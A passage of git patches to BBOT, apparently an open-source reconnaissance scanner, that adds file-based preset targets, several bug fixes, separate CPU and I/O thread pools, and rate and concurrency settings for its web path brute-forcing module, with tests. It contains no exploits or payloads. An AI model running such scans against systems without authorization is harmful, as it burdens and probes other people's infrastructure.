a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index e3f3cd2afb..d820451a26 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1195,3 +1195,54 @@ async def test_preset_serialization(clean_default_config): assert preset_dict_round_tripped == preset_dict assert preset_dict["target"] == ["192.168.1.1"] assert "seeds" not in preset_dict + + +def test_preset_file_targets(tmp_path): + """Test that file paths in preset target/seeds/blacklist are expanded.""" + # create target files + targets_file = tmp_path / "targets.txt" + targets_file.write_text("evilcorp.com\n1.2.3.4\n") + + seeds_file = tmp_path / "seeds.txt" + seeds_file.write_text("seed1.evilcorp.com\nseed2.evilcorp.com\n") + + blacklist_file = tmp_path / "blacklist.txt" + blacklist_file.write_text("internal.evilcorp.com\n10.0.0.0/8\n") + + # test relative paths resolved from preset file directory + preset_file = tmp_path / "my_preset.yml" + preset_file.write_text("target:\n - targets.txt\nseeds:\n - seeds.txt\nblacklist:\n - blacklist.txt\n") + preset = Preset.from_yaml_file(str(preset_file)) + target_inputs = set(preset._target_list) + assert "evilcorp.com" in target_inputs + assert "1.2.3.4" in target_inputs + assert "targets.txt" not in target_inputs + seed_inputs = set(preset._seeds) + assert "seed1.evilcorp.com" in seed_inputs + assert "seed2.evilcorp.com" in seed_inputs + blacklist_inputs = set(preset._blacklist) + assert "internal.evilcorp.com" in blacklist_inputs + assert "10.0.0.0/8" in blacklist_inputs + + # test absolute paths + preset_file2 = tmp_path / "my_preset2.yml" + preset_file2.write_text(f"target:\n - {targets_file}\n") + preset2 = Preset.from_yaml_file(str(preset_file2)) + target_inputs2 = set(preset2._target_list) + assert "evilcorp.com" in target_inputs2 + assert "1.2.3.4" in target_inputs2 + + # test mixed: file paths + literal targets + preset_file3 = tmp_path / "my_preset3.yml" + preset_file3.write_text("target:\n - targets.txt\n - extra.evilcorp.com\n") + preset3 = Preset.from_yaml_file(str(preset_file3)) + target_inputs3 = set(preset3._target_list) + assert "evilcorp.com" in target_inputs3 + assert "1.2.3.4" in target_inputs3 + assert "extra.evilcorp.com" in target_inputs3 + + # test that non-file strings are kept as-is + preset4 = Preset.from_dict({"target": ["not_a_file.txt", "192.168.1.1"]}) + target_inputs4 = set(preset4._target_list) + assert "not_a_file.txt" in target_inputs4 + assert "192.168.1.1" in target_inputs4 diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md index 28f82dfafa..fc5e9426f8 100644 --- a/docs/scanning/presets.md +++ b/docs/scanning/presets.md @@ -122,7 +122,27 @@ bbot -p ./mypreset.yml --current-preset ## Advanced Usage -BBOT Presets support advanced features like environment variable substitution and custom conditions. +BBOT Presets support advanced features like file-based targets, environment variable substitution, and custom conditions. + +### Files as Targets + +You can specify file paths in your preset's `target`, `seeds`, or `blacklist` fields. BBOT will read each file and expand its lines as individual entries: + +```yaml title="my_preset.yml" +target: + - targets.txt + - extra.evilcorp.com + +seeds: + - seeds.txt + +blacklist: + - /home/user/blacklist.txt +``` + +Relative paths (like `targets.txt`) are resolved relative to the preset file's directory first, then the current working directory. Absolute paths are used as-is. + +You can mix file paths and literal targets in the same list. If an entry doesn't point to an existing file, it is treated as a literal target. ### Custom Modules From 0425a9585bd596025dcad1606ac95a14958dbdcd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 11:51:48 -0400 Subject: [PATCH 409/912] Fix Blacklist.get() crash when _make_event_seed returns None --- bbot/scanner/target.py | 7 +++++-- bbot/test/test_step_1/test_target.py | 21 +++++++++++++++++++++ 2 files changed, 26 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 7250397d86..4924352c30 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -269,8 +269,11 @@ def get(self, host, **kwargs): # first, check event's host against blacklist try: event_seed = self._make_event_seed(host, raise_error=raise_error) - host = event_seed.host - to_match = event_seed.data + if event_seed is None: + to_match = str(host) + else: + host = event_seed.host + to_match = event_seed.data except ValidationError: to_match = str(host) event_result = super().get(host) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 0039fce14b..6384277e78 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -654,6 +654,27 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): assert set(urls) == {"http://127.0.0.1:8888/"} +def test_blacklist_get_invalid_host(): + """Blacklist.get() should not crash when _make_event_seed returns None for an invalid host.""" + from bbot.scanner.target import ScanBlacklist + + blacklist = ScanBlacklist("bad.com") + # Inputs that fail EventSeed validation (e.g. wildcards, single chars) cause + # _make_event_seed() to return None. Previously this crashed with: + # AttributeError: 'NoneType' object has no attribute 'host' + for invalid in ["*", "*.example.com", "a", ""]: + result = blacklist.get(invalid) + assert result is None + # Multi-level subdomains should never crash Blacklist.get(), even if + # future changes cause EventSeed to reject them + for hostname in ["cdn.info.test.example.com", "a.b.c.d.example.com", "x.y.example.co.uk"]: + result = blacklist.get(hostname) + assert result is None + # Verify actual blacklisted hosts still work + result = blacklist.get("bad.com") + assert result is not None + + def test_no_double_parsing(): """Regression test: when seeds are auto-populated from target, EventSeed parsing should happen only once (via ScanTarget), not twice. BBOTTarget should pass From 862c7143e3961702bcd50f74c67a96c560f1c77f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 11:54:08 -0400 Subject: [PATCH 410/912] Strip quotes from DNS records in clean_dns_record() --- bbot/core/helpers/misc.py | 2 +- bbot/test/test_step_1/test_helpers.py | 12 ++++++++++++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index d27baf3905..eb2e322bac 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2718,7 +2718,7 @@ def clean_dns_record(record): """ if not isinstance(record, str): record = str(record.to_text()) - return str(record).rstrip(".").lower() + return str(record).strip("'\"").rstrip(".").lower() def truncate_filename(file_path, max_length=255): diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index b8a00406bc..44a83d8394 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1134,3 +1134,15 @@ def test_simhash_similarity(helpers): # Most importantly, verify the ordering is correct assert identical_similarity > slight_similarity > moderate_similarity > very_similarity > complete_similarity + + +def test_clean_dns_record(): + from bbot.core.helpers.misc import clean_dns_record + + assert clean_dns_record("www.example.com.") == "www.example.com" + assert clean_dns_record("www.example.com") == "www.example.com" + # dnspython to_text() can produce quoted strings for certain record types + assert clean_dns_record('"d1jwhzvlef5tfb.example.com"') == "d1jwhzvlef5tfb.example.com" + assert clean_dns_record("'d1jwhzvlef5tfb.example.com'") == "d1jwhzvlef5tfb.example.com" + # quotes + trailing dot + assert clean_dns_record('"d1jwhzvlef5tfb.example.com."') == "d1jwhzvlef5tfb.example.com" From bcb218f36b868ea9e37021923db9733b0b3cbe3f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 11:56:38 -0400 Subject: [PATCH 411/912] Handle certspotter rate-limit error responses gracefully --- bbot/modules/certspotter.py | 2 +- .../module_tests/test_module_certspotter.py | 20 +++++++++++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/bbot/modules/certspotter.py b/bbot/modules/certspotter.py index 69b108080c..1a2c995bb5 100644 --- a/bbot/modules/certspotter.py +++ b/bbot/modules/certspotter.py @@ -20,7 +20,7 @@ def request_url(self, query): async def parse_results(self, r, query): results = set() json = r.json() - if json: + if json and isinstance(json, list): for r in json: for dns_name in r.get("dns_names", []): results.add(dns_name.lstrip(".*").rstrip(".")) diff --git a/bbot/test/test_step_2/module_tests/test_module_certspotter.py b/bbot/test/test_step_2/module_tests/test_module_certspotter.py index f189d58c46..aac235af45 100644 --- a/bbot/test/test_step_2/module_tests/test_module_certspotter.py +++ b/bbot/test/test_step_2/module_tests/test_module_certspotter.py @@ -12,3 +12,23 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + + +class TestCertspotterRateLimited(ModuleTestBase): + module_name = "certspotter" + modules_overrides = ["certspotter"] + + async def setup_after_prep(self, module_test): + module_test.module.abort_if = lambda e: False + module_test.blasthttp_mock.add_response( + url="https://api.certspotter.com/v1/issuances?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names", + json={ + "code": "rate_limited", + "message": "You have exceeded the domain search rate limit for the SSLMate CT Search API.", + }, + ) + + def check(self, module_test, events): + assert not any(e.type == "DNS_NAME" and e.data != "blacklanternsecurity.com" for e in events), ( + "Should not produce subdomains from a rate-limited response" + ) From 391b6cc121984c31d59501e74f49ef1edb96fe0e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 12:02:32 -0400 Subject: [PATCH 412/912] Offload excavate YARA matching to thread pool via run_in_executor --- bbot/modules/internal/excavate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index e2e450a8fb..7c6c49738c 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1145,7 +1145,7 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon for label, data_instance in data_items: # Your existing processing code - for result in self.yara_rules.match(data=f"{data_instance}"): + for result in await self.helpers.run_in_executor(self.yara_rules.match, data=f"{data_instance}"): rule_name = result.rule # Skip specific operations for 'parameter_extraction' rule on decoded_data From be5d190e75640b0958176e5ce77b6ba1952277a3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 12:05:22 -0400 Subject: [PATCH 413/912] Remove ip-* and http-title-* tags from http module, use _resolved_hosts and http_title instead --- bbot/modules/http.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 825e2d9287..e075570a43 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -277,13 +277,6 @@ async def handle_batch(self, *events): # main URL tags = [f"status-{status_code}"] - response_ip = j.get("host", "") - if response_ip: - tags.append(f"ip-{response_ip}") - # grab title - title = self.helpers.tagify(j.get("title", ""), maxlen=30) - if title: - tags.append(f"http-title-{title}") url_context = "{module} visited {event.parent.data} and got status code {event.http_status}" if parent_event.type == "OPEN_TCP_PORT": @@ -297,6 +290,12 @@ async def handle_batch(self, *events): context=url_context, ) if url_event: + response_ip = j.get("host", "") + if response_ip: + url_event._resolved_hosts.add(response_ip) + title = j.get("title", "") + if title: + url_event.http_title = title if url_event != parent_event: await self.emit_event(url_event) # HTTP response From 8038ff21633be9b29f1be5a985e33adc7a67cd24 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 12:51:24 -0400 Subject: [PATCH 414/912] Increase default thread pool size to prevent executor starvation --- bbot/core/helpers/helper.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 25dd250210..0aa4f1da27 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -3,7 +3,7 @@ from pathlib import Path import multiprocessing as mp from functools import partial -from concurrent.futures import ProcessPoolExecutor +from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor from . import misc from .asn import ASNHelper @@ -208,6 +208,10 @@ def loop(self): """ if self._loop is None: self._loop = get_event_loop() + # increase default thread pool size to prevent executor starvation + # during heavy scans where YARA, regex, DNS, and HTTP all compete for threads + thread_pool_size = max(32, (os.cpu_count() or 1) * 4) + self._loop.set_default_executor(ThreadPoolExecutor(max_workers=thread_pool_size)) return self._loop def run_in_executor(self, callback, *args, **kwargs): From c4717852b557f33293142ddc1d3240262dba7b34 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 12:56:13 -0400 Subject: [PATCH 415/912] Fix infinite loop in _drain_queues when module queue is None/False --- bbot/scanner/scanner.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index f50934c7f0..5fbbf4f525 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -870,13 +870,13 @@ def _drain_queues(self): """ self.debug("Draining queues") for module in self.modules.values(): - with contextlib.suppress(asyncio.queues.QueueEmpty): - while 1: - if module.incoming_event_queue not in (None, False): + if module.incoming_event_queue not in (None, False): + with contextlib.suppress(asyncio.queues.QueueEmpty): + while 1: module.incoming_event_queue.get_nowait() - with contextlib.suppress(asyncio.queues.QueueEmpty): - while 1: - if module.outgoing_event_queue not in (None, False): + if module.outgoing_event_queue not in (None, False): + with contextlib.suppress(asyncio.queues.QueueEmpty): + while 1: module.outgoing_event_queue.get_nowait() self.debug("Finished draining queues") From 687f74d4a6cb00fb4b29e4ec35c661ec8d450594 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 13:20:05 -0400 Subject: [PATCH 416/912] web_brute: bump _module_threads to 4, wire rate/concurrency options - Set _module_threads = 4 so multiple URLs can be fuzzed in parallel - Add configurable concurrency option (default 50) - Wire rate option through to blasthttp request_batch as rate_limit - Warn when module rate is overridden by more restrictive global setting - Add test for blasthttp min(global, per_call) rate limit behavior (requires blasthttp >= 0.1.4) --- bbot/modules/web_brute.py | 25 ++++++++++++---- bbot/test/test_step_1/test_web_rate_limit.py | 30 ++++++++++++++++++++ 2 files changed, 50 insertions(+), 5 deletions(-) diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index 810bd018f2..58c5b012d8 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -23,6 +23,7 @@ class web_brute(BaseModule): "extensions": "", "ignore_case": False, "rate": 0, + "concurrency": 50, } options_desc = { @@ -31,13 +32,15 @@ class web_brute(BaseModule): "max_depth": "the maximum directory depth to attempt to solve", "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", "ignore_case": "Only put lowercase words into the wordlist", - "rate": "Rate of requests per second (default: 0)", + "rate": "Maximum requests per second (0 = unlimited)", + "concurrency": "Number of concurrent requests per URL being fuzzed", } banned_characters = {" "} blacklist = ["images", "css", "image"] in_scope_only = True + _module_threads = 4 async def setup_deps(self): self.wordlist = await self.helpers.wordlist(self.config.get("wordlist")) @@ -50,7 +53,15 @@ async def setup(self): self.debug(f"Using wordlist [{wordlist_url}]") self.wordlist_lines = self.generate_wordlist(self.wordlist) self.words, words_len = self.generate_templist() - self.rate = self.config.get("rate", 0) + self.rate = self.config.get("rate", 0) or None + self.concurrency = self.config.get("concurrency", 50) + # warn if the module rate limit is less restrictive than the global setting + global_rate = self.scan.web_config.get("http_rate_limit", 0) + if self.rate and global_rate and global_rate < self.rate: + self.info( + f"Module rate limit ({self.rate} rps) is higher than global http_rate_limit ({global_rate} rps). " + f"The more restrictive global setting will be used." + ) self.verbose(f"Generated dynamic wordlist with length [{str(words_len)}]") try: self.extensions = self.helpers.chain_lists(self.config.get("extensions", ""), validate=True) @@ -169,7 +180,9 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): ) canary_results = [] - results = await self.helpers.run_in_executor(self.blast_client.request_batch, canary_configs, 4) + results = await self.helpers.run_in_executor( + self.blast_client.request_batch, canary_configs, 4, rate_limit=self.rate + ) for result in results: if result.success: canary_results.append(self._batch_response_metrics(result.response)) @@ -293,7 +306,9 @@ async def execute_fuzz( self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") # Fire all requests via native blasthttp batch (Rust concurrency) - results = await self.helpers.run_in_executor(self.blast_client.request_batch, configs, 50) + results = await self.helpers.run_in_executor( + self.blast_client.request_batch, configs, self.concurrency, rate_limit=self.rate + ) # Index results by URL for ordered processing results_by_url = {} @@ -353,7 +368,7 @@ async def execute_fuzz( ) ] canary_batch = await self.helpers.run_in_executor( - self.blast_client.request_batch, canary_configs, 1 + self.blast_client.request_batch, canary_configs, 1, rate_limit=self.rate ) if canary_batch and canary_batch[0].success: canary_metrics = self._batch_response_metrics(canary_batch[0].response) diff --git a/bbot/test/test_step_1/test_web_rate_limit.py b/bbot/test/test_step_1/test_web_rate_limit.py index eb8b9a0cdb..c3c7a20519 100644 --- a/bbot/test/test_step_1/test_web_rate_limit.py +++ b/bbot/test/test_step_1/test_web_rate_limit.py @@ -58,3 +58,33 @@ async def test_web_no_rate_limit(bbot_scanner, bbot_httpserver): assert elapsed < 2.0, f"Requests unexpectedly slow without rate limiting: {elapsed:.2f}s" await scan._cleanup() + + +@pytest.mark.asyncio +async def test_batch_rate_limit_min_wins(bbot_scanner): + """When both a global and per-call rate limit are set, the more restrictive one should win. + + This tests blasthttp's min(global, per_call) behavior for request_batch. + """ + import blasthttp + import time + + # Set a lenient global rate (100 rps) on the client + client = blasthttp.BlastHTTP() + client.set_rate_limit(100.0) + + # Build 5 dummy configs (they'll fail to connect, but we only care about dispatch timing) + configs = [blasthttp.BatchConfig(f"http://127.0.0.1:1/{i}", timeout=1, retries=0) for i in range(5)] + + # Call with a more restrictive per-call rate (10 rps) + # If min() works, dispatch should be paced at 10 rps (~400ms for 5 requests) + # If global wins, dispatch would be at 100 rps (~40ms for 5 requests) + start = time.monotonic() + client.request_batch(configs, concurrency=50, rate_limit=10.0) + elapsed = time.monotonic() - start + + # 5 requests at 10 rps = 4 intervals × 100ms = ~400ms minimum + assert elapsed >= 0.3, ( + f"Per-call rate limit (10 rps) should win over global (100 rps), " + f"but batch completed in {elapsed:.3f}s (expected >= 0.3s)" + ) From 2d7024fe8a2e50774cd6df8adc3cdbd023bbb8c8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 13:38:09 -0400 Subject: [PATCH 417/912] Pin blasthttp >= 0.1.4 for min(global, per_call) rate limiting --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 64e2d091cc..a67923349e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.1.3", + "blasthttp>=0.1.4", ] [project.urls] From 343ced4a760338576b7b1bed6e865ef59936bc79 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 17:13:55 -0400 Subject: [PATCH 418/912] Fix web_brute_shortnames missing concurrency/rate attrs from parent --- bbot/modules/web_brute_shortnames.py | 3 ++- .../module_tests/test_module_web_brute_shortnames.py | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/web_brute_shortnames.py b/bbot/modules/web_brute_shortnames.py index 29df4da87e..211ece67f8 100644 --- a/bbot/modules/web_brute_shortnames.py +++ b/bbot/modules/web_brute_shortnames.py @@ -98,7 +98,8 @@ async def setup(self): self.ignore_redirects = self.config.get("ignore_redirects") self.max_predictions = self.config.get("max_predictions") self.find_subwords = self.config.get("find_subwords") - self.rate = self.config.get("rate", 0) + self.rate = self.config.get("rate", 0) or None + self.concurrency = 50 class MinimalWordPredictor: def __init__(self): diff --git a/bbot/test/test_step_2/module_tests/test_module_web_brute_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_web_brute_shortnames.py index 26c68ef725..2face20e57 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_brute_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_brute_shortnames.py @@ -11,6 +11,7 @@ class TestWebBruteShortnames(ModuleTestBase): "find_common_prefixes": True, "find_subwords": True, "wordlist": tempwordlist(test_wordlist), + "max_predictions": 250, } } } From 9b87b2cf393d87a2026a6badf8453d57d620f78e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Mar 2026 19:04:54 -0400 Subject: [PATCH 419/912] Fix benchmark workflow: reset tracked files before branch checkout --- bbot/scripts/benchmark_report.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 675c99bc64..eaabcce087 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -33,7 +33,10 @@ def get_current_branch() -> str: def checkout_branch(branch: str, repo_path: Path = None): - """Checkout a git branch, cleaning up generated files first.""" + """Checkout a git branch, cleaning up generated and modified files first.""" + # Reset modified tracked files (e.g. uv.lock changed by `uv sync`) + print("Resetting modified tracked files before checkout") + run_command(["git", "checkout", "--", "."], cwd=repo_path) # Remove untracked files before checkout. Without this, files generated # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry # branch) block checkout to a branch that tracks those same files. From 9611ad4c27c1f31fe930352304b54fb6b1cdb73a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 29 Mar 2026 23:59:25 -0400 Subject: [PATCH 420/912] Separate CPU-bound thread pool from I/O executor --- bbot/core/helpers/helper.py | 14 ++++++++++++++ bbot/core/helpers/regex.py | 22 +++++++++++----------- bbot/core/helpers/yara_helper.py | 2 +- bbot/modules/dnsbrute_mutations.py | 2 +- bbot/modules/internal/excavate.py | 2 +- bbot/scanner/scanner.py | 4 ++-- 6 files changed, 30 insertions(+), 16 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 0aa4f1da27..714006d70d 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -212,6 +212,8 @@ def loop(self): # during heavy scans where YARA, regex, DNS, and HTTP all compete for threads thread_pool_size = max(32, (os.cpu_count() or 1) * 4) self._loop.set_default_executor(ThreadPoolExecutor(max_workers=thread_pool_size)) + # separate pool for CPU-bound work (YARA, regex) so it never queues behind I/O + self._cpu_executor = ThreadPoolExecutor(max_workers=max(8, os.cpu_count() or 4)) return self._loop def run_in_executor(self, callback, *args, **kwargs): @@ -225,6 +227,18 @@ def run_in_executor(self, callback, *args, **kwargs): callback = partial(callback, **kwargs) return self.loop.run_in_executor(None, callback, *args) + def run_in_executor_cpu(self, callback, *args, **kwargs): + """ + Run short CPU-bound work that releases the GIL in a dedicated thread pool, + separate from I/O so it never queues behind long-running network calls. + + Examples: + Execute callback: + >>> result = await self.helpers.run_in_executor_cpu(callback_fn, arg1, arg2) + """ + callback = partial(callback, **kwargs) + return self.loop.run_in_executor(self._cpu_executor, callback, *args) + def run_in_executor_mp(self, callback, *args, **kwargs): """ Same as run_in_executor() except with a process pool executor diff --git a/bbot/core/helpers/regex.py b/bbot/core/helpers/regex.py index 72c4029cb7..7a6ec0b9cc 100644 --- a/bbot/core/helpers/regex.py +++ b/bbot/core/helpers/regex.py @@ -29,19 +29,19 @@ def compile(self, *args, **kwargs): async def search(self, compiled_regex, *args, **kwargs): self.ensure_compiled_regex(compiled_regex) - return await self.parent_helper.run_in_executor(compiled_regex.search, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(compiled_regex.search, *args, **kwargs) async def match(self, compiled_regex, *args, **kwargs): self.ensure_compiled_regex(compiled_regex) - return await self.parent_helper.run_in_executor(compiled_regex.match, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(compiled_regex.match, *args, **kwargs) async def sub(self, compiled_regex, *args, **kwargs): self.ensure_compiled_regex(compiled_regex) - return await self.parent_helper.run_in_executor(compiled_regex.sub, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(compiled_regex.sub, *args, **kwargs) async def findall(self, compiled_regex, *args, **kwargs): self.ensure_compiled_regex(compiled_regex) - return await self.parent_helper.run_in_executor(compiled_regex.findall, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(compiled_regex.findall, *args, **kwargs) async def findall_multi(self, compiled_regexes, *args, threads=10, **kwargs): """ @@ -55,7 +55,7 @@ async def findall_multi(self, compiled_regexes, *args, threads=10, **kwargs): tasks = {} def new_task(regex_name, r): - task = self.parent_helper.run_in_executor(r.findall, *args, **kwargs) + task = self.parent_helper.run_in_executor_cpu(r.findall, *args, **kwargs) tasks[task] = regex_name compiled_regexes = dict(compiled_regexes) @@ -77,7 +77,7 @@ def new_task(regex_name, r): async def finditer(self, compiled_regex, *args, **kwargs): self.ensure_compiled_regex(compiled_regex) - return await self.parent_helper.run_in_executor(self._finditer, compiled_regex, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(self._finditer, compiled_regex, *args, **kwargs) async def finditer_multi(self, compiled_regexes, *args, **kwargs): """ @@ -85,7 +85,7 @@ async def finditer_multi(self, compiled_regexes, *args, **kwargs): """ for r in compiled_regexes: self.ensure_compiled_regex(r) - return await self.parent_helper.run_in_executor(self._finditer_multi, compiled_regexes, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(self._finditer_multi, compiled_regexes, *args, **kwargs) def _finditer_multi(self, compiled_regexes, *args, **kwargs): matches = [] @@ -98,16 +98,16 @@ def _finditer(self, compiled_regex, *args, **kwargs): return list(compiled_regex.finditer(*args, **kwargs)) async def extract_params_html(self, *args, **kwargs): - return await self.parent_helper.run_in_executor(misc.extract_params_html, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(misc.extract_params_html, *args, **kwargs) async def extract_emails(self, *args, **kwargs): - return await self.parent_helper.run_in_executor(misc.extract_emails, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(misc.extract_emails, *args, **kwargs) async def search_dict_values(self, *args, **kwargs): def _search_dict_values(*_args, **_kwargs): return list(misc.search_dict_values(*_args, **_kwargs)) - return await self.parent_helper.run_in_executor(_search_dict_values, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(_search_dict_values, *args, **kwargs) async def recursive_decode(self, *args, **kwargs): - return await self.parent_helper.run_in_executor(misc.recursive_decode, *args, **kwargs) + return await self.parent_helper.run_in_executor_cpu(misc.recursive_decode, *args, **kwargs) diff --git a/bbot/core/helpers/yara_helper.py b/bbot/core/helpers/yara_helper.py index 7f9428b55b..7ee37451c0 100644 --- a/bbot/core/helpers/yara_helper.py +++ b/bbot/core/helpers/yara_helper.py @@ -40,7 +40,7 @@ async def match(self, compiled_rules, text): Given a compiled YARA rule and a body of text, return a list of strings that match the rule """ matched_strings = [] - matches = await self.parent_helper.run_in_executor(compiled_rules.match, data=text) + matches = await self.parent_helper.run_in_executor_cpu(compiled_rules.match, data=text) if matches: for match in matches: for string_match in match.strings: diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index aeb695fb6d..76b85d5055 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -44,7 +44,7 @@ async def handle_event(self, event): async def get_parent_event(self, subdomain): start = time.time() - parent_host = await self.helpers.run_in_executor(self.helpers.closest_match, subdomain, self.parent_events) + parent_host = await self.helpers.run_in_executor_cpu(self.helpers.closest_match, subdomain, self.parent_events) elapsed = time.time() - start self.trace(f"{subdomain}: got closest match among {len(self.parent_events):,} parent events in {elapsed:.2f}s") return self.parent_events[parent_host] diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 7c6c49738c..7f8c559471 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1145,7 +1145,7 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon for label, data_instance in data_items: # Your existing processing code - for result in await self.helpers.run_in_executor(self.yara_rules.match, data=f"{data_instance}"): + for result in await self.helpers.run_in_executor_cpu(self.yara_rules.match, data=f"{data_instance}"): rule_name = result.rule # Skip specific operations for 'parameter_extraction' rule on decoded_data diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 5fbbf4f525..6d5089765e 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -1193,7 +1193,7 @@ async def dns_yara_rules(self): if self.dns_yara_rules_uncompiled is not None: import yara - self._dns_yara_rules = await self.helpers.run_in_executor( + self._dns_yara_rules = await self.helpers.run_in_executor_cpu( yara.compile, source="\n".join(self.dns_yara_rules_uncompiled.values()) ) return self._dns_yara_rules @@ -1209,7 +1209,7 @@ async def extract_in_scope_hostnames(self, s): matches = set() dns_yara_rules = await self.dns_yara_rules() if dns_yara_rules is not None: - for match in await self.helpers.run_in_executor(dns_yara_rules.match, data=s): + for match in await self.helpers.run_in_executor_cpu(dns_yara_rules.match, data=s): for string in match.strings: for instance in string.instances: matches.add(str(instance)) From c783e7268fe4863fc31a42fb45fdbfbae21705e4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 30 Mar 2026 13:26:26 -0400 Subject: [PATCH 421/912] Name thread pools explicitly (run_in_executor_io/cpu), add backlog stats --- bbot/core/helpers/helper.py | 12 ++++++------ bbot/core/helpers/web/web.py | 2 +- bbot/modules/http.py | 2 +- bbot/modules/wafw00f.py | 6 +++--- bbot/modules/web_brute.py | 6 +++--- bbot/scanner/scanner.py | 4 ++++ 6 files changed, 18 insertions(+), 14 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 714006d70d..d8f92129cb 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -211,21 +211,21 @@ def loop(self): # increase default thread pool size to prevent executor starvation # during heavy scans where YARA, regex, DNS, and HTTP all compete for threads thread_pool_size = max(32, (os.cpu_count() or 1) * 4) - self._loop.set_default_executor(ThreadPoolExecutor(max_workers=thread_pool_size)) - # separate pool for CPU-bound work (YARA, regex) so it never queues behind I/O + self._io_executor = ThreadPoolExecutor(max_workers=thread_pool_size) self._cpu_executor = ThreadPoolExecutor(max_workers=max(8, 